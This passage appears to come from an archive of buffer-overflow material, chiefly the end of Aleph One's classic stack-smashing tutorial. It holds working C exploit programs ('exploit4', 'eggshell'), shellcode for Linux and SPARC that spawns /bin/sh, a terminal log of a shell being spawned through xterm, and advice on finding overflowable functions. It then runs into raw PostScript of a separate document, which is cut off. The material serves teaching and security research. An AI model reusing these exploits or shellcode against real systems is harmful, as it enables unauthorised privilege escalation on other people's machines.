DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } ------------------------------------------------------------------------------ Lets try our new exploit with our vulnerable test program: ------------------------------------------------------------------------------ [aleph1]$ ./exploit4 768 Using address: 0xbffffdb0 [aleph1]$ ./vulnerable $RET $ ------------------------------------------------------------------------------ Works like a charm. Now lets try it on xterm: ------------------------------------------------------------------------------ [aleph1]$ export DISPLAY=:0.0 [aleph1]$ ./exploit4 2148 Using address: 0xbffffdb0 [aleph1]$ /usr/X11R6/bin/xterm -fg $RET Warning: Color name " Warning: some arguments in previous message were lost $ ------------------------------------------------------------------------------ On the first try! It has certainly increased our odds. Depending how much environment data the exploit program has compared with the program you are trying to exploit the guessed address may be to low or to high. Experiment both with positive and negative offsets. Finding Buffer Overflows ~~~~~~~~~~~~~~~~~~~~~~~~ As stated earlier, buffer overflows are the result of stuffing more information into a buffer than it is meant to hold. Since C does not have any built-in bounds checking, overflows often manifest themselves as writing past the end of a character array. The standard C library provides a number of functions for copying or appending strings, that perform no boundary checking. They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions operate on null-terminated strings, and do not check for overflow of the receiving string. gets() is a function that reads a line from stdin into a buffer until either a terminating newline or EOF. It performs no checks for buffer overflows. The scanf() family of functions can also be a problem if you are matching a sequence of non-white-space characters (%s), or matching a non-empty sequence of characters from a specified set (%[]), and the array pointed to by the char pointer, is not large enough to accept the whole sequence of characters, and you have not defined the optional maximum field width. If the target of any of these functions is a buffer of static size, and its other argument was somehow derived from user input there is a good posibility that you might be able to exploit a buffer overflow. Another usual programming construct we find is the use of a while loop to read one character at a time into a buffer from stdin or some file until the end of line, end of file, or some other delimiter is reached. This type of construct usually uses one of these functions: getc(), fgetc(), or getchar(). If there is no explicit checks for overflows in the while loop, such programs are easily exploited. To conclude, grep(1) is your friend. The sources for free operating systems and their utilities is readily available. This fact becomes quite interesting once you realize that many comercial operating systems utilities where derived from the same sources as the free ones. Use the source d00d. Appendix A - Shellcode for Different Operating Systems/Architectures ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ i386/Linux ------------------------------------------------------------------------------ jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\" ------------------------------------------------------------------------------ SPARC/Solaris ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 ta 8 xor %o7, %o7, %o0 mov 1, %g1 ta 8 ------------------------------------------------------------------------------ SPARC/SunOS ------------------------------------------------------------------------------ sethi 0xbd89a, %l6 or %l6, 0x16e, %l6 sethi 0xbdcda, %l7 and %sp, %sp, %o0 add %sp, 8, %o1 xor %o2, %o2, %o2 add %sp, 16, %sp std %l6, [%sp - 16] st %sp, [%sp - 8] st %g0, [%sp - 4] mov 0x3b, %g1 mov -0x1, %l5 ta %l5 + 1 xor %o7, %o7, %o0 mov 1, %g1 ta %l5 + 1 ------------------------------------------------------------------------------ Appendix B - Generic Buffer Overflow Program ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ shellcode.h ------------------------------------------------------------------------------ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif ------------------------------------------------------------------------------ eggshell.c ------------------------------------------------------------------------------ /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include #include #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); } ------------------------------------------------------------------------------ buffer-overflows/buf.ps100644 0 0 207076 6347415677 13651 0ustar rootroot%!PS-Adobe-3.0 %%Creator: PSCRIPT %%Title: buf.doc %%BoundingBox: 18 9 593 784 %%DocumentNeededResources: (atend) %%DocumentSuppliedResources: (atend) %%Pages: (atend) %%BeginResource: procset Win35Dict 3 1 /Win35Dict 290 dict def Win35Dict begin/bd{bind def}bind def/in{72 mul}bd/ed{exch def}bd/ld{load def}bd/tr/translate ld/gs/gsave ld/gr /grestore ld/M/moveto ld/L/lineto ld/rmt/rmoveto ld/rlt/rlineto ld /rct/rcurveto ld/st/stroke ld/n/newpath ld/sm/setmatrix ld/cm/currentmatrix ld/cp/closepath ld/ARC/arcn ld/TR{65536 div}bd/lj/setlinejoin ld/lc /setlinecap ld/ml/setmiterlimit ld/sl/setlinewidth ld/scignore false def/sc{scignore{pop pop pop}{0 index 2 index eq 2 index 4 index eq and{pop pop 255 div setgray}{3{255 div 3 1 roll}repeat setrgbcolor}ifelse}ifelse}bd /FC{bR bG bB sc}bd/fC{/bB ed/bG ed/bR ed}bd/HC{hR hG hB sc}bd/hC{ /hB ed/hG ed/hR ed}bd/PC{pR pG pB sc}bd/pC{/pB ed/pG ed/pR ed}bd/sM matrix def/PenW 1 def/iPen 5 def/mxF matrix def/mxE matrix def/mxUE matrix def/mxUF matrix def/fBE false def/iDevRes 72 0 matrix defaultmatrix dtransform dup mul exch dup mul add sqrt def/fPP false def/SS{fPP{ /SV save def}{gs}ifelse}bd/RS{fPP{SV restore}{gr}ifelse}bd/EJ{gsave showpage grestore}bd/#C{userdict begin/#copies ed end}bd/FEbuf 2 string def/FEglyph(G )def/FE{1 exch{dup 16 FEbuf cvrs FEglyph exch 1 exch putinterval 1 index exch FEglyph cvn put}for}bd/SM{/iRes ed/cyP ed /cxPg ed/cyM ed/cxM ed 72 100 div dup scale dup 0 ne{90 eq{cyM exch 0 eq{cxM exch tr -90 rotate -1 1 scale}{cxM cxPg add exch tr +90 rotate}ifelse}{cyP cyM sub exch 0 ne{cxM exch tr -90 rotate}{cxM cxPg add exch tr -90 rotate 1 -1 scale}ifelse}ifelse}{pop cyP cyM sub exch 0 ne{cxM cxPg add exch tr 180 rotate}{cxM exch tr 1 -1 scale}ifelse}ifelse 100 iRes div dup scale 0 0 transform .25 add round .25 sub exch .25 add round .25 sub exch itransform translate}bd/SJ{1 index 0 eq{pop pop/fBE false def}{1 index/Break ed div/dxBreak ed/fBE true def}ifelse}bd/ANSIVec[ 16#0/grave 16#1/acute 16#2/circumflex 16#3/tilde 16#4/macron 16#5/breve 16#6/dotaccent 16#7/dieresis 16#8/ring 16#9/cedilla 16#A/hungarumlaut 16#B/ogonek 16#C/caron 16#D/dotlessi 16#27/quotesingle 16#60/grave 16#7C/bar 16#82/quotesinglbase 16#83/florin 16#84/quotedblbase 16#85 /ellipsis 16#86/dagger 16#87/daggerdbl 16#88/circumflex 16#89/perthousand 16#8A/Scaron 16#8B/guilsinglleft 16#8C/OE 16#91/quoteleft 16#92/quoteright 16#93/quotedblleft 16#94/quotedblright 16#95/bullet 16#96/endash 16#97 /emdash 16#98/tilde 16#99/trademark 16#9A/scaron 16#9B/guilsinglright 16#9C/oe 16#9F/Ydieresis 16#A0/space 16#A1/exclamdown 16#A4/currency 16#A5/yen 16#A6/brokenbar 16#A7/section 16#A8/dieresis 16#A9/copyright 16#AA/ordfeminine 16#AB/guillemotleft 16#AC/logicalnot 16#AD/hyphen 16#AE/registered 16#AF/macron 16#B0/degree 16#B1/plusminus 16#B2/twosuperior 16#B3/threesuperior 16#B4/acute 16#B5/mu 16#B6/paragraph 16#B7/periodcentered 16#B8/cedilla 16#B9/onesuperior 16#BA/ordmasculine 16#BB/guillemotright 16#BC/onequarter 16#BD/onehalf 16#BE/threequarters 16#BF/questiondown 16#C0/Agrave 16#C1/Aacute 16#C2/Acircumflex 16#C3/Atilde 16#C4/Adieresis 16#C5/Aring 16#C6/AE 16#C7/Ccedilla 16#C8/Egrave 16#C9/Eacute 16#CA /Ecircumflex 16#CB/Edieresis 16#CC/Igrave 16#CD/Iacute 16#CE/Icircumflex 16#CF/Idieresis 16#D0/Eth 16#D1/Ntilde 16#D2/Ograve 16#D3/Oacute 16#D4 /Ocircumflex 16#D5/Otilde 16#D6/Odieresis 16#D7/multiply 16#D8/Oslash 16#D9/Ugrave 16#DA/Uacute 16#DB/Ucircumflex 16#DC/Udieresis 16#DD/Yacute 16#DE/Thorn 16#DF/germandbls 16#E0/agrave 16#E1/aacute 16#E2/acircumflex 16#E3/atilde 16#E4/adieresis 16#E5/aring 16#E6/ae 16#E7/ccedilla 16#E8 /egrave 16#E9/eacute 16#EA/ecircumflex 16#EB/edieresis 16#EC/igrave 16#ED/iacute 16#EE/icircumflex 16#EF/idieresis 16#F0/eth 16#F1/ntilde 16#F2/ograve 16#F3/oacute 16#F4/ocircumflex 16#F5/otilde 16#F6/odieresis 16#F7/divide 16#F8/oslash 16#F9/ugrave 16#FA/uacute 16#FB/ucircumflex 16#FC/udieresis 16#FD/yacute 16#FE/thorn 16#FF/ydieresis ] def/reencdict 12 dict def/IsChar{basefontdict/CharStrings get exch known}bd/MapCh{dup IsChar not{pop/bullet}if newfont/Encoding get 3 1 roll put}bd/MapDegree{16#b0 /degree IsChar{/degree}{/ring}ifelse MapCh}bd/MapBB{16#a6/brokenbar IsChar{/brokenbar}{/bar}ifelse MapCh}bd/ANSIFont{reencdict begin/newfontname ed/basefontname ed FontDirectory newfontname known not{/basefontdict basefontname findfont def/newfont basefontdict maxlength dict def basefontdict{exch dup/FID ne{dup/Encoding eq{exch dup length array copy newfont 3 1 roll put}{exch newfont 3 1 roll put}ifelse}{pop pop}ifelse}forall newfont /FontName newfontname put 127 1 159{newfont/Encoding get exch/bullet put}for ANSIVec aload pop ANSIVec length 2 idiv{MapCh}repeat MapDegree MapBB newfontname newfont definefont pop}if newfontname end}bd/SB{FC /ULlen ed/str ed str length fBE not{dup 1 gt{1 sub}if}if/cbStr ed /dxGdi ed/y0 ed/x0 ed str stringwidth dup 0 ne{/y1 ed/x1 ed y1 y1 mul x1 x1 mul add sqrt dxGdi exch div 1 sub dup x1 mul cbStr div exch y1 mul cbStr div}{exch abs neg dxGdi add cbStr div exch}ifelse/dyExtra ed/dxExtra ed x0 y0 M fBE{dxBreak 0 BCh dxExtra dyExtra str awidthshow}{dxExtra dyExtra str ashow}ifelse fUL{x0 y0 M dxUL dyUL rmt ULlen fBE{Break add}if 0 mxUE transform gs rlt cyUL sl [] 0 setdash st gr}if fSO{x0 y0 M dxSO dySO rmt ULlen fBE{Break add}if 0 mxUE transform gs rlt cyUL sl [] 0 setdash st gr}if n/fBE false def}bd/font{/name ed/Ascent ed 0 ne/fT3 ed 0 ne/fSO ed 0 ne/fUL ed/Sy ed/Sx ed 10.0 div/ori ed -10.0 div/esc ed/BCh ed name findfont/xAscent 0 def/yAscent Ascent def/ULesc esc def ULesc mxUE rotate pop fT3{/esc 0 def xAscent yAscent mxUE transform /yAscent ed/xAscent ed}if [Sx 0 0 Sy neg xAscent yAscent] esc mxE rotate mxF concatmatrix makefont setfont [Sx 0 0 Sy neg 0 Ascent] mxUE mxUF concatmatrix pop fUL{currentfont dup/FontInfo get/UnderlinePosition known not{pop/Courier findfont}if/FontInfo get/UnderlinePosition get 1000 div 0 exch mxUF transform/dyUL ed/dxUL ed}if fSO{0 .3 mxUF transform /dySO ed/dxSO ed}if fUL fSO or{currentfont dup/FontInfo get/UnderlineThickness known not{pop/Courier findfont}if/FontInfo get/UnderlineThickness get 1000 div Sy mul/cyUL ed}if}bd/min{2 copy gt{exch}if pop}bd/max{2 copy lt{exch}if pop}bd/CP{/ft ed{{ft 0 eq{clip}{eoclip}ifelse}stopped{currentflat 1 add setflat}{exit}ifelse}loop}bd/patfont 10 dict def patfont begin /FontType 3 def/FontMatrix [1 0 0 -1 0 0] def/FontBBox [0 0 16 16] def/Encoding StandardEncoding def/BuildChar{pop pop 16 0 0 0 16 16 setcachedevice 16 16 false [1 0 0 1 .25 .25]{pat}imagemask}bd end/p{ /pat 32 string def{}forall 0 1 7{dup 2 mul pat exch 3 index put dup 2 mul 1 add pat exch 3 index put dup 2 mul 16 add pat exch 3 index put 2 mul 17 add pat exch 2 index put pop}for}bd/pfill{/PatFont patfont definefont setfont/ch(AAAA)def X0 64 X1{Y1 -16 Y0{1 index exch M ch show}for pop}for}bd/vert{X0 w X1{dup Y0 M Y1 L st}for}bd/horz{Y0 w Y1{dup X0 exch M X1 exch L st}for}bd/fdiag{X0 w X1{Y0 M X1 X0 sub dup rlt st}for Y0 w Y1{X0 exch M Y1 Y0 sub dup rlt st}for}bd/bdiag{X0 w X1{Y1 M X1 X0 sub dup neg rlt st}for Y0 w Y1{X0 exch M Y1 Y0 sub dup neg rlt st}for}bd/AU{1 add cvi 15 or}bd/AD{1 sub cvi -16 and}bd/SHR{pathbbox AU/Y1 ed AU/X1 ed AD/Y0 ed AD/X0 ed}bd/hfill{/w iRes 37.5 div round def 0.1 sl [] 0 setdash n dup 0 eq{horz}if dup 1 eq{vert}if dup 2 eq{fdiag}if dup 3 eq{bdiag}if dup 4 eq{horz vert}if 5 eq{fdiag bdiag}if}bd/F{/ft ed fm 256 and 0 ne{gs FC ft 0 eq{fill}{eofill}ifelse gr}if fm 1536 and 0 ne{SHR gs HC ft CP fm 1024 and 0 ne{/Tmp save def pfill Tmp restore}{fm 15 and hfill}ifelse gr}if}bd/S{PenW sl PC st}bd/m matrix def/GW{iRes 12 div PenW add cvi}bd/DoW{iRes 50 div PenW add cvi}bd/DW{iRes 8 div PenW add cvi}bd/SP{/PenW ed/iPen ed iPen 0 eq iPen 6 eq or{[] 0 setdash}if iPen 1 eq{[DW GW] 0 setdash}if iPen 2 eq{[DoW GW] 0 setdash}if iPen 3 eq{[DW GW DoW GW] 0 setdash}if iPen 4 eq{[DW GW DoW GW DoW GW] 0 setdash}if}bd/E{m cm pop tr scale 1 0 moveto 0 0 1 0 360 arc cp m sm}bd /AG{/sy ed/sx ed sx div 4 1 roll sy div 4 1 roll sx div 4 1 roll sy div 4 1 roll atan/a2 ed atan/a1 ed sx sy scale a1 a2 ARC}def/A{m cm pop tr AG m sm}def/P{m cm pop tr 0 0 M AG cp m sm}def/RRect{n 4 copy M 3 1 roll exch L 4 2 roll L L cp}bd/RRCC{/r ed/y1 ed/x1 ed/y0 ed/x0 ed x0 x1 add 2 div y0 M x1 y0 x1 y1 r arcto 4{pop}repeat x1 y1 x0 y1 r arcto 4{pop}repeat x0 y1 x0 y0 r arcto 4{pop}repeat x0 y0 x1 y0 r arcto 4{pop}repeat cp}bd/RR{2 copy 0 eq exch 0 eq or{pop pop RRect}{2 copy eq{pop RRCC}{m cm pop/y2 ed/x2 ed/ys y2 x2 div 1 max def/xs x2 y2 div 1 max def/y1 exch ys div def/x1 exch xs div def/y0 exch ys div def/x0 exch xs div def/r2 x2 y2 min def xs ys scale x0 x1 add 2 div y0 M x1 y0 x1 y1 r2 arcto 4{pop}repeat x1 y1 x0 y1 r2 arcto 4{pop}repeat x0 y1 x0 y0 r2 arcto 4{pop}repeat x0 y0 x1 y0 r2 arcto 4{pop}repeat m sm cp}ifelse}ifelse}bd/PP{{rlt}repeat}bd/OB{gs 0 ne{7 3 roll/y ed /x ed x y translate ULesc rotate x neg y neg translate x y 7 -3 roll}if sc B fill gr}bd/B{M/dy ed/dx ed dx 0 rlt 0 dy rlt dx neg 0 rlt cp}bd /CB{B clip n}bd/ErrHandler{errordict dup maxlength exch length gt dup{errordict begin}if/errhelpdict 12 dict def errhelpdict begin/stackunderflow(operand stack underflow)def /undefined(this name is not defined in a dictionary)def/VMerror(you have used up all the printer's memory)def /typecheck(operator was expecting a different type of operand)def /ioerror(input/output error occured)def end{end}if errordict begin /handleerror{$error begin newerror{/newerror false def showpage 72 72 scale/x .25 def/y 9.6 def/Helvetica findfont .2 scalefont setfont x y moveto(Offending Command = )show/command load{dup type/stringtype ne{(max err string)cvs}if show}exec/y y .2 sub def x y moveto(Error = )show errorname{dup type dup( max err string )cvs show( : )show/stringtype ne{( max err string )cvs}if show}exec errordict begin errhelpdict errorname known{x 1 add y .2 sub moveto errhelpdict errorname get show}if end /y y .4 sub def x y moveto(Stack =)show ostack{/y y .2 sub def x 1 add y moveto dup type/stringtype ne{( max err string )cvs}if show}forall showpage}if end}def end}bd end %%EndResource /SVDoc save def %%EndProlog %%BeginSetup Win35Dict begin ErrHandler statusdict begin 0 setjobtimeout end statusdict begin statusdict /jobname (buf.doc) put end /oldDictCnt countdictstack def {}stopped { countdictstack oldDictCnt lt { Win35Dict begin } {1 1 countdictstack oldDictCnt sub {pop end } for } ifelse } if /oldDictCnt countdictstack def {letter }stopped { countdictstack oldDictCnt lt { Win35Dict begin } {1 1 countdictstack oldDictCnt sub {pop end } for } ifelse } if [{ } /exec load currenttransfer /exec load] cvx settransfer %%EndSetup %%Page: 1 1 %%PageResources: (atend) SS 0 0 25 11 798 1100 300 SM % Copyright (c) 1986-1995 Frame Technology Corporation. /FMcmyk 100 dict def /FmBD{bind def}bind def /FmLD{load def}FmBD /FMc { FMcmyk length FMcmyk maxlength ge { /FMcmyk FMcmyk dup length dup add dict copy def } if 4 array astore 4 1 roll 8 bitshift add 8 bitshift add exch FMcmyk 3 1 roll put }FmBD /setcmykcolor where { pop /sc where { pop /sc load 0 get /scignore eq { /FMsc /sc FmLD /sc { 3 copy 8 bitshift add 8 bitshift add FMcmyk 1 index known { FMcmyk exch get aload pop setcmykcolor pop pop pop } { pop FMsc } ifelse }FmBD } if } if } if mark { /S load dup 0 get /PenW eq { dup 1 get /sl load eq { dup 0 { PenW .75 sub sl } bind put 1 /exec load put } if } if } stopped cleartomark /FmX matrix defaultmatrix def /FmDC {transform FmX itransform cvi exch cvi exch} def /FmBx { dup 3 index lt {3 1 roll exch} if 1 index 4 index lt {4 -1 roll 3 1 roll exch 4 1 roll} if }FmBD /FmPD/cleartomark FmLD /FmPD2/cleartomark FmLD /FmPT/pop FmLD /FmPA{pop pop pop}FmBD systemdict /pdfmark known { /FmPD/pdfmark FmLD currentdistillerparams /CoreDistVersion get 2000 ge { /FmPD2/pdfmark FmLD /FmPA { mark exch /Dest exch 5 3 roll /View [ /XYZ null 6 -2 roll FmDC exch pop null] /DEST FmPD }FmBD } if } if 0 0 0 0.0 0.0 0.0 1.0 FMc gs gs gs 1 lc 1 lj 0 0 0 pC 0 1 SP gs 2026 1 150 139 CB 150 139 M 2025 0 1 PP S n gr gs 2026 1 150 2953 CB 150 2953 M 2025 0 1 PP S n gr 32 0 0 50 50 0 0 0 48 /Times-Bold /font9 ANSIFont font 0 0 0 fC 150 2969 25 (4) 25 SB 32 0 0 41 41 0 0 0 38 /Times-Italic /font11 ANSIFont font 712 2979 27 (C) 28 SB 740 2979 166 (ompromis) 167 SB 907 2979 73 (ed - ) 74 SB 981 2979 68 (Buff) 69 SB 1050 2979 18 (e) 19 SB 1069 2979 96 (r-Ove) 97 SB 1166 2979 38 (rfl) 39 SB 1205 2979 48 (ow) 49 SB 1254 2979 36 (s, ) 37 SB 1291 2979 88 (from ) 89 SB 1380 2979 35 (In) 34 SB 1414 2979 11 (t) 12 SB 1426 2979 29 (el) 30 SB 1456 2979 21 ( t) 22 SB 1478 2979 77 (o SP) 78 SB 1556 2979 77 (ARC) 78 SB 1634 2979 10 ( ) 11 SB 1645 2979 43 (Ve) 44 SB 1689 2979 43 (rsi) 44 SB 1733 2979 21 (o) 20 SB 1753 2979 31 (n ) 32 SB 1785 2979 21 (8) 20 SB gr 32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font 150 378 67 (AT) 66 SB 216 378 101 (T vs) 100 SB 316 378 76 ( Int) 75 SB 391 378 73 (el?) 72 SB 463 378 48 (!?) 48 SB 32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font 712 380 133 (Almos) 134 SB 846 380 14 (t) 13 SB 859 380 240 ( everything ) 239 SB 1098 380 66 (in t) 65 SB 1163 380 47 (he) 48 SB 1211 380 13 ( ) 12 SB 1223 380 105 (Intel ) 104 SB 1327 380 130 (world ) 129 SB 1456 380 55 (of ) 54 SB 1510 380 22 (a) 23 SB 1533 380 60 (sse) 61 SB 1594 380 64 (mb) 63 SB 1657 380 36 (le) 37 SB 1694 380 17 (r) 16 SB 1710 380 169 ( is dealt ) 168 SB 1878 380 141 (with vi) 140 SB 2018 380 22 (a) 23 SB 2041 380 13 ( ) 12 SB 2053 380 105 (Intel ) 104 SB 712 438 98 (form) 97 SB 809 438 22 (a) 23 SB 832 438 14 (t) 13 SB 845 438 54 ( as) 55 SB 900 438 171 (sembler ) 170 SB 1070 438 94 (code) 95 SB 1165 438 13 (.) 12 SB 1177 438 44 ( T) 43 SB 1220 438 194 (his is not ) 193 SB 1413 438 140 (how it ) 139 SB 1552 438 98 (is in ) 97 SB 1649 438 187 (the Unix ) 186 SB 1835 438 130 (world.) 129 SB 1964 438 55 ( Si) 54 SB 2018 438 47 (nc) 48 SB 2066 438 35 (e ) 34 SB 2100 438 74 (the ) 74 SB 712 497 105 (old P) 104 SB 816 497 187 (DP\222s the ) 186 SB 1002 497 205 (unix envir) 204 SB 1206 497 223 (onment ass) 224 SB 1430 497 152 (embler ) 151 SB 1581 497 19 (s) 20 SB 1601 497 64 (ynt) 63 SB 1664 497 22 (a) 23 SB 1687 497 38 (x ) 37 SB 1724 497 66 (has) 67 SB 1791 497 13 ( ) 12 SB 1803 497 191 (followed ) 190 SB 1993 497 36 (A) 37 SB 2030 497 31 (T) 30 SB 2060 497 44 (T ) 43 SB 712 555 19 (s) 20 SB 732 555 53 (tyl) 52 SB 784 555 22 (e) 23 SB 807 555 13 (.) 12 SB 819 555 13 ( ) 12 SB 831 555 155 (This mi) 154 SB 985 555 133 (ght thr) 132 SB 1117 555 162 (ow you ) 161 SB 1278 555 59 (off) 58 SB 1336 555 44 ( if) 43 SB 1379 555 88 ( you) 87 SB 1466 555 87 ( are ) 86 SB 1552 555 44 (us) 45 SB 1597 555 60 (ed ) 59 SB 1656 555 52 (to ) 51 SB 1707 555 22 (a) 23 SB 1730 555 63 (ny ) 62 SB 1792 555 88 (low ) 87 SB 1879 555 83 (leve) 84 SB 1963 555 14 (l) 13 SB 1976 555 55 ( pr) 54 SB 2030 555 145 (ogram-) 145 SB 712 613 116 (ming ) 115 SB 827 613 126 (in the ) 125 SB 952 613 61 (PC) 62 SB 1014 613 13 ( ) 12 SB 1026 613 130 (world.) 129 SB 1155 613 30 ( I) 29 SB 1184 613 151 ( would ) 150 SB 1334 613 148 (hate to ) 147 SB 1481 613 19 (s) 20 SB 1501 613 203 (ee simple ) 202 SB 1703 613 19 (s) 20 SB 1723 613 419 (emantics discourage ) 419 SB 712 672 144 (anyone) 145 SB 857 672 13 ( ) 12 SB 869 672 156 (so here ) 155 SB 1024 672 22 (a) 23 SB 1047 672 17 (r) 16 SB 1063 672 148 (e the m) 147 SB 1210 672 22 (a) 23 SB 1233 672 39 (in) 38 SB 1271 672 86 ( diff) 85 SB 1356 672 130 (erence) 131 SB 1487 672 32 (s ) 31 SB 1518 672 151 (in a nut) 150 SB 1668 672 19 (s) 20 SB 1688 672 102 (hell: ) 101 SB 1789 672 84 ([Fig) 83 SB 1872 672 119 (ure 6]) 118 SB 1990 672 13 (.) 13 SB 32 0 0 50 50 0 0 0 47 /Helvetica-Bold /font5 ANSIFont font 150 945 28 (I ) 27 SB 177 945 168 (see wh) 167 SB 344 945 148 (ere yo) 147 SB 491 945 106 (u\222re ) 106 SB 150 1003 31 (g) 30 SB 180 1003 76 (oin) 75 SB 255 1003 76 (g b) 75 SB 330 1003 48 (ut) 47 SB 377 1003 87 ( is t) 86 SB 463 1003 87 (his ) 87 SB 150 1061 131 (really) 130 SB 280 1061 115 ( as b) 114 SB 394 1061 87 (ig a) 86 SB 480 1061 101 (s yo) 100 SB 580 1061 45 (u ) 45 SB 150 1120 28 (s) 27 SB 177 1120 87 (ay?) 87 SB 32 0 0 50 50 0 0 0 45 /Times-Roman /font12 ANSIFont font 712 947 44 (M) 45 SB 757 947 85 (any ) 82 SB 839 947 146 (people ) 144 SB 983 947 85 (just ) 83 SB 1066 947 92 (don\222) 91 SB 1157 947 27 (t ) 25 SB 1182 947 76 (see ) 74 SB 1256 947 99 (how ) 96 SB 1352 947 199 (prevalent ) 197 SB 1549 947 157 (bounds ) 155 SB 1704 947 193 (checking ) 190 SB 1894 947 199 (problems ) 197 SB 2091 947 74 (are.) 73 SB 2164 947 13 ( ) 11 SB 712 1005 91 (The ) 90 SB 802 1005 153 (number) 152 SB 954 1005 13 ( ) 12 SB 966 1005 55 (of ) 54 SB 1020 1005 193 (incidents ) 192 SB 1212 1005 52 (in ) 51 SB 1263 1005 74 (the ) 73 SB 1336 1005 113 (Unix ) 111 SB 1447 1005 130 (world ) 129 SB 1576 1005 146 (should ) 145 SB 1721 1005 60 (be ) 59 SB 1780 1005 42 (pr) 41 SB 1821 1005 80 (oof ) 79 SB 1900 